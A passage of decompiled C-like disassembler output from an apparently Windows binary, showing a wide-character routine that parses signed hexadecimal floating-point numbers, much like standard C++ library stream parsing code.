					_t881 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
					if(_t881 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x50)))) <= 0) {
						_t527 =  *((intOrPtr*)( *_t900 + 0x38))();
					} else {
						_t527 =  *_t881 & 0x0000ffff;
					}
					_t561 = 0;
					dil = (_t527 & 0x0000ffff) != 0xffff;
				}
				_t901 =  *_a96;
				if(_t901 != 0) {
					_t878 =  *((intOrPtr*)( *((intOrPtr*)(_t901 + 0x38))));
					if(_t878 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t901 + 0x50)))) <= 0) {
						_t525 =  *((intOrPtr*)( *_t901 + 0x38))();
					} else {
						_t525 =  *_t878 & 0x0000ffff;
					}
					_t571 = 0;
					sil = (_t525 & 0x0000ffff) != 0xffff;
				}
				_t1104 = _t1098;
				if(_t561 != _t571) {
					if( *(_t888 + 8) == 0) {
						_t990 =  *_t888;
						if(_t990 == 0) {
							L35:
							 *_t888 = 0;
						} else {
							_t875 =  *((intOrPtr*)( *((intOrPtr*)(_t990 + 0x38))));
							if(_t875 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t990 + 0x50)))) <= 0) {
								_t524 =  *((intOrPtr*)( *_t990 + 0x38))();
							} else {
								_t524 =  *_t875 & 0x0000ffff;
							}
							_t534 = _t524 & 0x0000ffff;
							if(_t534 == 0xffff) {
								goto L35;
							} else {
								 *(_t888 + 0xa) = _t524;
							}
						}
						 *(_t888 + 8) = 1;
					}
					_t520 =  *(_t888 + 0xa) & 0x0000ffff;
					if(_t520 != _a14) {
						__eflags = _t520 - _a12;
						_t1104 = _t1098;
						if(_t520 == _a12) {
							 *_t1098 = 0x2d;
							_t987 =  *_t888;
							__eflags = _t987;
							if(_t987 == 0) {
								goto L50;
							} else {
								_t871 =  *((intOrPtr*)(_t987 + 0x38));
								_t1044 =  *_t871;
								__eflags = _t1044;
								if(_t1044 == 0) {
									L47:
									_t522 =  *((intOrPtr*)( *_t987 + 0x40))();
								} else {
									_t1050 =  *((intOrPtr*)(_t987 + 0x50));
									_t603 =  *_t1050;
									__eflags = _t603;
									if(_t603 <= 0) {
										goto L47;
									} else {
										goto L46;
									}
								}
								goto L48;
							}
							goto L51;
						}
					} else {
						 *_t1098 = 0x2b;
						_t989 =  *_t888;
						if(_t989 == 0) {
							L50:
							 *_t888 = 0;
							_t521 = 1;
						} else {
							_t871 =  *((intOrPtr*)(_t989 + 0x38));
							_t1044 =  *_t871;
							if(_t1044 == 0) {
								L41:
								_t522 =  *((intOrPtr*)( *_t989 + 0x40))();
							} else {
								_t1050 =  *((intOrPtr*)(_t989 + 0x50));
								_t603 =  *_t1050;
								if(_t603 > 0) {
									L46:
									 *_t1050 = _t603 - 1;
									 *_t871 =  &(_t1044[1]);
									_t522 =  *_t1044 & 0x0000ffff;
								} else {
									goto L41;
								}
							}
							L48:
							if((_t522 & 0x0000ffff) == 0xffff) {
								goto L50;
							} else {
								_t521 = 0;
							}
						}
						L51:
						_t1104 = _t1098 + 1;
						 *(_t888 + 8) = _t521;
					}
				}
				 *_t1104 = 0x7830;
				_t902 =  *_t888;
				_t572 = 0;
				_t562 = 0;
				if(_t902 != 0) {
					_t869 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
					if(_t869 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x50)))) <= 0) {
						_t518 =  *((intOrPtr*)( *_t902 + 0x38))();
					} else {
						_t518 =  *_t869 & 0x0000ffff;
					}
					_t562 = 0;
					dil = (_t518 & 0x0000ffff) != 0xffff;
				}
				_t721 = _a96;
				_t903 =  *_t721;
				if(_t903 != 0) {
					_t721 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
					if(_t721 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x50)))) <= 0) {
						_t721 =  *_t903;
						_t516 = _t721[0x1c]();
					} else {
						_t516 =  *_t721 & 0x0000ffff;
					}
					_t572 = 0;
					sil = (_t516 & 0x0000ffff) != 0xffff;
				}
				if(_t562 == _t572) {
					L119:
					_t562 = 0;
				} else {
					if( *(_t888 + 8) == 0) {
						_t986 =  *_t888;
						if(_t986 == 0) {
							L73:
							 *_t888 = 0;
						} else {
							_t721 =  *((intOrPtr*)( *((intOrPtr*)(_t986 + 0x38))));
							if(_t721 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t986 + 0x50)))) <= 0) {
								_t721 =  *_t986;
								_t515 = _t721[0x1c]();
							} else {
								_t515 =  *_t721 & 0x0000ffff;
							}
							_t534 = _t515 & 0x0000ffff;
							if(_t534 == 0xffff) {
								goto L73;
							} else {
								 *(_t888 + 0xa) = _t515;
							}
						}
						 *(_t888 + 8) = 1;
					}
					if(( *(_t888 + 0xa) & 0x0000ffff) != _v32) {
						goto L119;
					} else {
						_t979 =  *_t888;
						if(_t979 == 0) {
							L86:
							 *_t888 = 0;
							 *(_t888 + 8) = 1;
							goto L87;
						} else {
							_t861 =  *((intOrPtr*)(_t979 + 0x38));
							_t1039 =  *_t861;
							if(_t1039 == 0) {
								L80:
								_t511 =  *((intOrPtr*)( *_t979 + 0x40))();
							} else {
								_t1050 =  *((intOrPtr*)(_t979 + 0x50));
								_t601 =  *_t1050;
								if(_t601 <= 0) {
									goto L80;
								} else {
									 *_t1050 = _t601 - 1;
									 *_t861 =  &(_t1039[1]);
									_t511 =  *_t1039 & 0x0000ffff;
								}
							}
							if((_t511 & 0x0000ffff) == 0xffff) {
								goto L86;
							} else {
								_t984 =  *_t888;
								 *(_t888 + 8) = 0;
								if(_t984 == 0) {
									L87:
									_t598 = 0;
								} else {
									_t864 =  *((intOrPtr*)( *((intOrPtr*)(_t984 + 0x38))));
									if(_t864 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t984 + 0x50)))) <= 0) {
										_t513 =  *((intOrPtr*)( *_t984 + 0x38))();
									} else {
										_t513 =  *_t864 & 0x0000ffff;
									}
									_t598 = 0;
									sil = (_t513 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t721 = _a96;
						_t980 =  *_t721;
						if(_t980 == 0) {
							_t503 = 0;
							__eflags = 0;
						} else {
							_t721 =  *((intOrPtr*)( *((intOrPtr*)(_t980 + 0x38))));
							if(_t721 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t980 + 0x50)))) <= 0) {
								_t721 =  *_t980;
								_t509 = _t721[0x1c]();
							} else {
								_t509 =  *_t721 & 0x0000ffff;
							}
							_t534 = _t509 & 0x0000ffff;
							_t503 = 0 | _t534 != 0x0000ffff;
						}
						dil = 1;
						if(_t598 != _t503) {
							if( *(_t888 + 8) == 0) {
								_t983 =  *_t888;
								if(_t983 == 0) {
									L106:
									 *_t888 = 0;
								} else {
									_t721 =  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x38))));
									if(_t721 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x50)))) <= 0) {
										_t721 =  *_t983;
										_t508 = _t721[0x1c]();
									} else {
										_t508 =  *_t721 & 0x0000ffff;
									}
									_t534 = _t508 & 0x0000ffff;
									if(_t534 == 0xffff) {
										goto L106;
									} else {
										 *(_t888 + 0xa) = _t508;
									}
								}
								 *(_t888 + 8) = 1;
							}
							_t504 =  *(_t888 + 0xa) & 0x0000ffff;
							if(_t504 == _a18 || _t504 == _a16) {
								_t981 =  *_t888;
								if(_t981 == 0) {
									L117:
									 *_t888 = 0;
									_t505 = 1;
								} else {
									_t721 =  *((intOrPtr*)(_t981 + 0x38));
									_t1036 =  *_t721;
									if(_t1036 == 0) {
										L114:
										_t721 =  *_t981;
										_t506 = _t721[0x20]();
									} else {
										_t1050 =  *((intOrPtr*)(_t981 + 0x50));
										_t599 =  *_t1050;
										if(_t599 <= 0) {
											goto L114;
										} else {
											 *_t1050 = _t599 - 1;
											 *_t721 =  &(_t1036[1]);
											_t506 =  *_t1036 & 0x0000ffff;
										}
									}
									if((_t506 & 0x0000ffff) == 0xffff) {
										goto L117;
									} else {
										_t505 = 0;
									}
								}
								 *(_t888 + 8) = _t505;
								goto L119;
							}
						}
					}
				}
				_a108 = _t562;
				_a112 = _t1104 + 2;
				_t1066 =  >  ? _v80 :  &_v80;
				_t426 =  *_t1066;
				_v48 = _t1087;
				if(_t426 == 0x7f || _t426 <= 0) {
					_t1088 = _t1098;
					r13d = 0;
					_t1099 =  &_v34;
					r15d = 0;
					while(1) {
						_t904 =  *_t888;
						__eflags = _t904;
						_t563 = 0;
						if(_t904 == 0) {
							goto L147;
						}
						_t827 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
						__eflags = _t827;
						if(_t827 == 0) {
							L145:
							_t490 =  *((intOrPtr*)( *_t904 + 0x38))();
						} else {
							__eflags =  *( *(_t904 + 0x50));
							if( *( *(_t904 + 0x50)) <= 0) {
								goto L145;
							} else {
								_t490 =  *_t827 & 0x0000ffff;
							}
						}
						_t563 = 0;
						__eflags = (_t490 & 0x0000ffff) - 0xffff;
						dil = (_t490 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L147:
						_t905 =  *_a96;
						__eflags = _t905;
						if(_t905 == 0) {
							_t427 = 0;
							__eflags = _t563;
							if(_t563 != 0) {
								goto L153;
							} else {
							}
						} else {
							_t835 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
							__eflags = _t835;
							if(_t835 == 0) {
								L151:
								_t486 =  *((intOrPtr*)( *_t905 + 0x38))();
							} else {
								__eflags =  *( *(_t905 + 0x50));
								if( *( *(_t905 + 0x50)) <= 0) {
									goto L151;
								} else {
									_t486 =  *_t835 & 0x0000ffff;
								}
							}
							__eflags = (_t486 & 0x0000ffff) - 0xffff;
							_t427 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L153:
								__eflags =  *(_t888 + 8);
								if( *(_t888 + 8) == 0) {
									_t957 =  *_t888;
									__eflags = _t957;
									if(_t957 == 0) {
										L163:
										 *_t888 = 0;
									} else {
										_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t957 + 0x38))));
										__eflags = _t832;
										if(_t832 == 0) {
											L160:
											_t427 =  *((intOrPtr*)( *_t957 + 0x38))();
										} else {
											__eflags =  *( *(_t957 + 0x50));
											if( *( *(_t957 + 0x50)) <= 0) {
												goto L160;
											} else {
												_t427 =  *_t832 & 0x0000ffff;
											}
										}
										__eflags = (_t427 & 0x0000ffff) - 0xffff;
										if((_t427 & 0x0000ffff) == 0xffff) {
											goto L163;
										} else {
											 *(_t888 + 0xa) = _t427;
										}
									}
									 *(_t888 + 8) = 1;
								}
								_t535 =  *(_t888 + 0xa) & 0x0000ffff;
								_t723 = _t1099;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t553 =  *(_t723 + 2) & 0x0000ffff;
									_t723 = _t723 + 2;
									__eflags = _t553;
									if(_t553 == 0) {
										break;
									}
									__eflags = _t553 - _t535;
									if(_t553 != _t535) {
										continue;
									} else {
										break;
									}
									goto L172;
								}
								_t725 = _t723 -  &_v32 >> 1;
								__eflags = _t725 - 0x15;
								if(_t725 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L131:
											_t953 = _a112;
											 *_t953 =  *((intOrPtr*)(_t725 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t953 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t725;
											if(_t725 != 0) {
												goto L131;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t955 =  *_t888;
									__eflags = _t955;
									if(_t955 == 0) {
										L139:
										 *_t888 = 0;
										_t484 = 1;
									} else {
										_t829 =  *((intOrPtr*)(_t955 + 0x38));
										_t1026 =  *_t829;
										__eflags = _t1026;
										if(_t1026 == 0) {
											L136:
											_t488 =  *((intOrPtr*)( *_t955 + 0x40))();
										} else {
											_t1060 =  *((intOrPtr*)(_t955 + 0x50));
											_t593 =  *_t1060;
											__eflags = _t593;
											if(_t593 <= 0) {
												goto L136;
											} else {
												 *_t1060 = _t593 - 1;
												 *_t829 =  &(_t1026[1]);
												_t488 =  *_t1026 & 0x0000ffff;
											}
										}
										__eflags = (_t488 & 0x0000ffff) - 0xffff;
										if((_t488 & 0x0000ffff) == 0xffff) {
											goto L139;
										} else {
											_t484 = 0;
										}
									}
									 *(_t888 + 8) = _t484;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1100 = _t1088;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L170;
						}
						goto L172;
					}
				} else {
					r13d = 0;
					_a32 = _t1098;
					if(_v64 == 0) {
						_t427 = 0;
						__eflags = 0;
						_a88 = _t721;
					} else {
						_t858 =  *_t1087;
						_t427 =  *((intOrPtr*)(_t858 + 0x28))();
						_a88 = _t858;
					}
					_v40 = _t1066;
					_t1092 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t958 =  *_t888;
						_t570 = 0;
						_t595 = 0;
						if(_t958 != 0) {
							_t846 =  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x38))));
							if(_t846 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t958 + 0x50)))) <= 0) {
								_t498 =  *((intOrPtr*)( *_t958 + 0x38))();
							} else {
								_t498 =  *_t846 & 0x0000ffff;
							}
							_t427 = _t498 & 0x0000ffff;
							_t595 = 0;
							sil = (_t498 & 0x0000ffff) != 0xffff;
						}
						_t837 = _a96;
						_t959 =  *_t837;
						if(_t959 != 0) {
							_t837 =  *((intOrPtr*)( *((intOrPtr*)(_t959 + 0x38))));
							if(_t837 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t959 + 0x50)))) <= 0) {
								_t837 =  *_t959;
								_t497 = _t837[0x1c]();
							} else {
								_t497 =  *_t837 & 0x0000ffff;
							}
							_t427 = _t497 & 0x0000ffff;
							_t570 = 0;
							dil = (_t497 & 0x0000ffff) != 0xffff;
						}
						if(_t595 == _t570) {
							break;
						}
						if( *(_t888 + 8) == 0) {
							_t977 =  *_t888;
							if(_t977 == 0) {
								L237:
								 *_t888 = 0;
							} else {
								_t837 =  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x38))));
								if(_t837 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x50)))) <= 0) {
									_t837 =  *_t977;
									_t496 = _t837[0x1c]();
								} else {
									_t496 =  *_t837 & 0x0000ffff;
								}
								_t534 = _t496 & 0x0000ffff;
								if(_t534 == 0xffff) {
									goto L237;
								} else {
									 *(_t888 + 0xa) = _t496;
								}
							}
							 *(_t888 + 8) = 1;
						}
						_t427 =  *(_t888 + 0xa) & 0x0000ffff;
						_t961 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t558 =  *(_t961 + 2) & 0x0000ffff;
							_t961 = _t961 + 2;
							if(_t558 == 0) {
								break;
							}
							if(_t558 != _t427) {
								continue;
							} else {
							}
							break;
						}
						_t963 = _t961 -  &_v32 >> 1;
						if(_t963 > 0x15) {
							__eflags = _a72 - 0xf;
							_t965 =  <=  ? _t1092 : _a48;
							__eflags =  *((char*)(_t965 + _t1098));
							if( *((char*)(_t965 + _t1098)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t427 - _a88;
									if(_t427 != _a88) {
										break;
									} else {
										_t1107 = _a64;
										__eflags = _t1107 - 0xfffffffe;
										if(_t1107 >= 0xfffffffe) {
											_t492 = L00430CE0(_t533, _t558, _t605, _t837, "string too long", _t1050, _t1066);
											asm("ud2");
											_t1068 = _t837;
											_t842 = _a72;
											__eflags = _t842 - 0x10;
											if(_t842 >= 0x10) {
												_t969 = _a48;
												__eflags = _t842 + 1 - 0x1000;
												if(_t842 + 1 >= 0x1000) {
													_t969 =  *((intOrPtr*)(_t969 - 8));
												}
												_t492 = E00402090(_t492, _t969);
											}
											_t843 = _v56;
											__eflags = _t843 - 0x10;
											if(_t843 >= 0x10) {
												_t968 = _v80;
												_t843 = _t843 + 1;
												__eflags = _t843 - 0x1000;
												if(_t843 >= 0x1000) {
													_t968 =  *((intOrPtr*)(_t968 - 8));
												}
												_t492 = E00402090(_t492, _t968);
											}
											E0044CEA0(_t492, _t1068);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t843 =  *_t843 + 0x64;
											_t416 = _t843 - 0x6f6f6f70;
											 *_t416 =  *(_t843 - 0x6f6f6f70) + _t558;
											__eflags =  *_t416;
											_push(_t1070);
											return 0x64;
										} else {
											_t1108 = _t1107 + 1;
											r8d = 0;
											_t495 = E00404270(_t427,  &_a40, _t1108);
											__eflags = _t495;
											if(_t495 != 0) {
												__eflags = _a72 - 0xf;
												_t974 =  <=  ? _t1092 : _a48;
												 *((char*)(( <=  ? _t1092 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t852 =  <=  ? _t1092 : _a48;
												_a64 = _t1108;
												 *((char*)(( <=  ? _t1092 : _a48) + _t1108)) = 0;
											}
											_t1098 = _t1098 + 1;
											goto L209;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L206:
									_t975 = _a112;
									 *_t975 =  *((intOrPtr*)(_t963 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t975 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t963;
									if(_t963 != 0) {
										goto L206;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t855 =  <=  ? _t1092 : _a48;
							_t534 =  *(_t855 + _t1098);
							_a108 = 1;
							if(_t534 != 0x7f) {
								_t534 = _t534 + 1;
								 *(_t855 + _t1098) = _t534;
							}
							L209:
							_t971 =  *_t888;
							if(_t971 == 0) {
								L192:
								 *_t888 = 0;
								_t427 = 1;
								 *(_t888 + 8) = 1;
							} else {
								_t848 =  *((intOrPtr*)(_t971 + 0x38));
								_t1035 =  *_t848;
								if(_t1035 == 0) {
									L213:
									_t499 =  *((intOrPtr*)( *_t971 + 0x40))();
								} else {
									_t1050 =  *((intOrPtr*)(_t971 + 0x50));
									_t596 =  *_t1050;
									if(_t596 <= 0) {
										goto L213;
									} else {
										 *_t1050 = _t596 - 1;
										_t186 =  &(_t1035[1]); // 0x3
										 *_t848 = _t186;
										_t499 =  *_t1035 & 0x0000ffff;
									}
								}
								if((_t499 & 0x0000ffff) == 0xffff) {
									goto L192;
								} else {
									_t427 = 0;
									 *(_t888 + 8) = 0;
								}
							}
							continue;
						}
						goto L531;
					}
					__eflags = _t1098;
					if(_t1098 == 0) {
						_t595 = 0;
						__eflags = 0;
						goto L257;
					} else {
						__eflags = _a72 - 0xf;
						_t841 =  <=  ? _t1092 : _a48;
						_t556 =  *((intOrPtr*)(_t841 + _t1098));
						_t427 = 0;
						__eflags = _t556;
						_t550 = _t534 & 0xffffff00 | _t556 > 0x00000000;
						__eflags = _t556;
						sil = _t556 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L257:
							_t838 = _a72;
						} else {
							_t427 = _t550;
							_t1102 = _t1098 + _t841;
							__eflags = _t1102;
							if(_t1102 == 0) {
								goto L257;
							} else {
								_t838 = _a72;
								__eflags = _t838 - 0xf;
								_t1093 =  >  ? _a48 : _t1092;
								_t1061 = _v40;
								while(1) {
									_t551 =  *_t1061 & 0x000000ff;
									__eflags = _t551 - 0x7f;
									if(_t551 == 0x7f) {
										break;
									}
									__eflags = _t1102 - 1;
									_t557 =  *(_t1093 + _t1102 - 1) & 0x000000ff;
									if(_t1102 != 1) {
										__eflags = _t551 - _t557;
										if(_t551 != _t557) {
											goto L380;
										} else {
											goto L252;
										}
									} else {
										__eflags = _t551 - _t557;
										if(_t551 >= _t557) {
											L252:
											_t1102 = _t1102 - 1;
											__eflags =  *(_t1061 + 1);
											if( *(_t1061 + 1) > 0) {
												_t1061 = _t1061 + 1;
												__eflags = _t1061;
											}
											__eflags = _t1102;
											if(_t1102 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L380:
											sil = 1;
										}
									}
									goto L258;
								}
								_t595 = 0;
							}
						}
					}
					L258:
					__eflags = _t838 - 0x10;
					_t1100 = _a32;
					r12d = _a84;
					if(_t838 >= 0x10) {
						_t960 = _a48;
						__eflags = _t838 + 1 - 0x1000;
						if(_t838 + 1 >= 0x1000) {
							_t960 =  *((intOrPtr*)(_t960 - 8));
						}
						_t427 = E00402090(_t427, _t960);
					}
					_a88 = _t595;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L170:
						__eflags = r13d;
						if(r13d == 0) {
							_t824 = _a112;
							 *_t824 = 0x30;
							_t825 = _t824 + 1;
							__eflags = _t825;
							_a112 = _t825;
						}
						goto L172;
					} else {
						L172:
						_t907 =  *_t888;
						_t573 = 0;
						__eflags = _t907;
						_t564 = 0;
						r15d = r12d;
						if(_t907 != 0) {
							_t822 =  *((intOrPtr*)( *((intOrPtr*)(_t907 + 0x38))));
							__eflags = _t822;
							if(_t822 == 0) {
								L176:
								_t482 =  *((intOrPtr*)( *_t907 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t907 + 0x50));
								if( *( *(_t907 + 0x50)) <= 0) {
									goto L176;
								} else {
									_t482 =  *_t822 & 0x0000ffff;
								}
							}
							_t427 = _t482 & 0x0000ffff;
							_t564 = 0;
							__eflags = (_t482 & 0x0000ffff) - 0xffff;
							dil = (_t482 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t908 =  *_a96;
						__eflags = _t908;
						if(_t908 != 0) {
							_t819 =  *((intOrPtr*)( *((intOrPtr*)(_t908 + 0x38))));
							__eflags = _t819;
							if(_t819 == 0) {
								L182:
								_t481 =  *((intOrPtr*)( *_t908 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t908 + 0x50));
								if( *( *(_t908 + 0x50)) <= 0) {
									goto L182;
								} else {
									_t481 =  *_t819 & 0x0000ffff;
								}
							}
							_t427 = _t481 & 0x0000ffff;
							_t573 = 0;
							__eflags = (_t481 & 0x0000ffff) - 0xffff;
							sil = (_t481 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t564 - _t573;
						if(_t564 == _t573) {
							L275:
							__eflags = r13d;
							if(r13d == 0) {
								goto L285;
							}
						} else {
							__eflags =  *(_t888 + 8);
							_t1058 = _v48;
							if( *(_t888 + 8) == 0) {
								_t951 =  *_t888;
								__eflags = _t951;
								if(_t951 == 0) {
									L267:
									 *_t888 = 0;
								} else {
									_t816 =  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x38))));
									__eflags = _t816;
									if(_t816 == 0) {
										L264:
										_t480 =  *((intOrPtr*)( *_t951 + 0x38))();
									} else {
										__eflags =  *( *(_t951 + 0x50));
										if( *( *(_t951 + 0x50)) <= 0) {
											goto L264;
										} else {
											_t480 =  *_t816 & 0x0000ffff;
										}
									}
									__eflags = (_t480 & 0x0000ffff) - 0xffff;
									if((_t480 & 0x0000ffff) == 0xffff) {
										goto L267;
									} else {
										 *(_t888 + 0xa) = _t480;
									}
								}
								 *(_t888 + 8) = 1;
							}
							_t811 =  *_t1058;
							_t427 =  *((intOrPtr*)(_t811 + 0x20))();
							__eflags = ( *(_t888 + 0xa) & 0x0000ffff) - _t427;
							if(( *(_t888 + 0xa) & 0x0000ffff) != _t427) {
								r12d = r15d;
								goto L275;
							} else {
								E0043DFF0(_t427);
								 *_a112 =  *((intOrPtr*)( *_t811));
								_t949 =  *_t888;
								__eflags = _t949;
								r12d = r15d;
								if(_t949 == 0) {
									L280:
									 *_t888 = 0;
									_t427 = 1;
								} else {
									_t813 =  *((intOrPtr*)(_t949 + 0x38));
									_t1022 =  *_t813;
									__eflags = _t1022;
									if(_t1022 == 0) {
										L277:
										_t478 =  *((intOrPtr*)( *_t949 + 0x40))();
										r12d = r15d;
									} else {
										_t1059 =  *((intOrPtr*)(_t949 + 0x50));
										_t591 =  *_t1059;
										__eflags = _t591;
										if(_t591 <= 0) {
											goto L277;
										} else {
											 *_t1059 = _t591 - 1;
											 *_t813 =  &(_t1022[1]);
											_t478 =  *_t1022 & 0x0000ffff;
										}
									}
									__eflags = (_t478 & 0x0000ffff) - 0xffff;
									if((_t478 & 0x0000ffff) == 0xffff) {
										goto L280;
									} else {
										_t427 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t888 + 8) = _t427;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L285:
										_t942 =  *_t888;
										_t587 = 0;
										__eflags = _t942;
										_t569 = 0;
										if(_t942 == 0) {
											goto L291;
										}
										_t801 =  *((intOrPtr*)( *((intOrPtr*)(_t942 + 0x38))));
										__eflags = _t801;
										if(_t801 == 0) {
											L289:
											_t473 =  *((intOrPtr*)( *_t942 + 0x38))();
										} else {
											__eflags =  *( *(_t942 + 0x50));
											if( *( *(_t942 + 0x50)) <= 0) {
												goto L289;
											} else {
												_t473 =  *_t801 & 0x0000ffff;
											}
										}
										_t427 = _t473 & 0x0000ffff;
										_t569 = 0;
										__eflags = (_t473 & 0x0000ffff) - 0xffff;
										dil = (_t473 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L291:
										_t943 =  *_a96;
										__eflags = _t943;
										if(_t943 != 0) {
											_t809 =  *((intOrPtr*)( *((intOrPtr*)(_t943 + 0x38))));
											__eflags = _t809;
											if(_t809 == 0) {
												L295:
												_t472 =  *((intOrPtr*)( *_t943 + 0x38))();
											} else {
												__eflags =  *( *(_t943 + 0x50));
												if( *( *(_t943 + 0x50)) <= 0) {
													goto L295;
												} else {
													_t472 =  *_t809 & 0x0000ffff;
												}
											}
											_t427 = _t472 & 0x0000ffff;
											_t587 = 0;
											__eflags = (_t472 & 0x0000ffff) - 0xffff;
											sil = (_t472 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t569 - _t587;
										if(_t569 != _t587) {
											__eflags =  *(_t888 + 8);
											if( *(_t888 + 8) == 0) {
												_t946 =  *_t888;
												__eflags = _t946;
												if(_t946 == 0) {
													L306:
													 *_t888 = 0;
												} else {
													_t806 =  *((intOrPtr*)( *((intOrPtr*)(_t946 + 0x38))));
													__eflags = _t806;
													if(_t806 == 0) {
														L303:
														_t471 =  *((intOrPtr*)( *_t946 + 0x38))();
													} else {
														__eflags =  *( *(_t946 + 0x50));
														if( *( *(_t946 + 0x50)) <= 0) {
															goto L303;
														} else {
															_t471 =  *_t806 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L306;
													} else {
														 *(_t888 + 0xa) = _t471;
													}
												}
												 *(_t888 + 8) = 1;
											}
											_t427 =  *(_t888 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t888 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t888 + 0xa) & 0x0000ffff) == _v32) {
												_t944 =  *_t888;
												__eflags = _t944;
												if(_t944 == 0) {
													L316:
													 *_t888 = 0;
													_t470 = 1;
													goto L283;
												} else {
													_t803 =  *((intOrPtr*)(_t944 + 0x38));
													_t1018 =  *_t803;
													__eflags = _t1018;
													if(_t1018 == 0) {
														L313:
														_t474 =  *((intOrPtr*)( *_t944 + 0x40))();
													} else {
														_t1057 =  *((intOrPtr*)(_t944 + 0x50));
														_t588 =  *_t1057;
														__eflags = _t588;
														if(_t588 <= 0) {
															goto L313;
														} else {
															 *_t1057 = _t588 - 1;
															 *_t803 =  &(_t1018[1]);
															_t474 =  *_t1018 & 0x0000ffff;
														}
													}
													__eflags = (_t474 & 0x0000ffff) - 0xffff;
													if((_t474 & 0x0000ffff) == 0xffff) {
														goto L316;
													} else {
														_t470 = 0;
														L283:
														 *(_t888 + 8) = _t470;
														r12d = r12d - 1;
														__eflags = r12d;
														_t427 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t798 = _a112;
											 *_t798 = 0x30;
											_a112 = _t798 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L320;
									}
								}
							}
						}
						L320:
						_t1089 =  &_v34;
						while(1) {
							L333:
							_t909 =  *_t888;
							_t574 = 0;
							__eflags = _t909;
							_t565 = 0;
							if(_t909 == 0) {
								goto L339;
							}
							_t787 =  *((intOrPtr*)( *((intOrPtr*)(_t909 + 0x38))));
							__eflags = _t787;
							if(_t787 == 0) {
								L337:
								_t469 =  *((intOrPtr*)( *_t909 + 0x38))();
							} else {
								__eflags =  *( *(_t909 + 0x50));
								if( *( *(_t909 + 0x50)) <= 0) {
									goto L337;
								} else {
									_t469 =  *_t787 & 0x0000ffff;
								}
							}
							_t427 = _t469 & 0x0000ffff;
							_t565 = 0;
							__eflags = (_t469 & 0x0000ffff) - 0xffff;
							dil = (_t469 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L339:
							_t910 =  *_a96;
							__eflags = _t910;
							if(_t910 != 0) {
								_t795 =  *((intOrPtr*)( *((intOrPtr*)(_t910 + 0x38))));
								__eflags = _t795;
								if(_t795 == 0) {
									L343:
									_t468 =  *((intOrPtr*)( *_t910 + 0x38))();
								} else {
									__eflags =  *( *(_t910 + 0x50));
									if( *( *(_t910 + 0x50)) <= 0) {
										goto L343;
									} else {
										_t468 =  *_t795 & 0x0000ffff;
									}
								}
								_t427 = _t468 & 0x0000ffff;
								_t574 = 0;
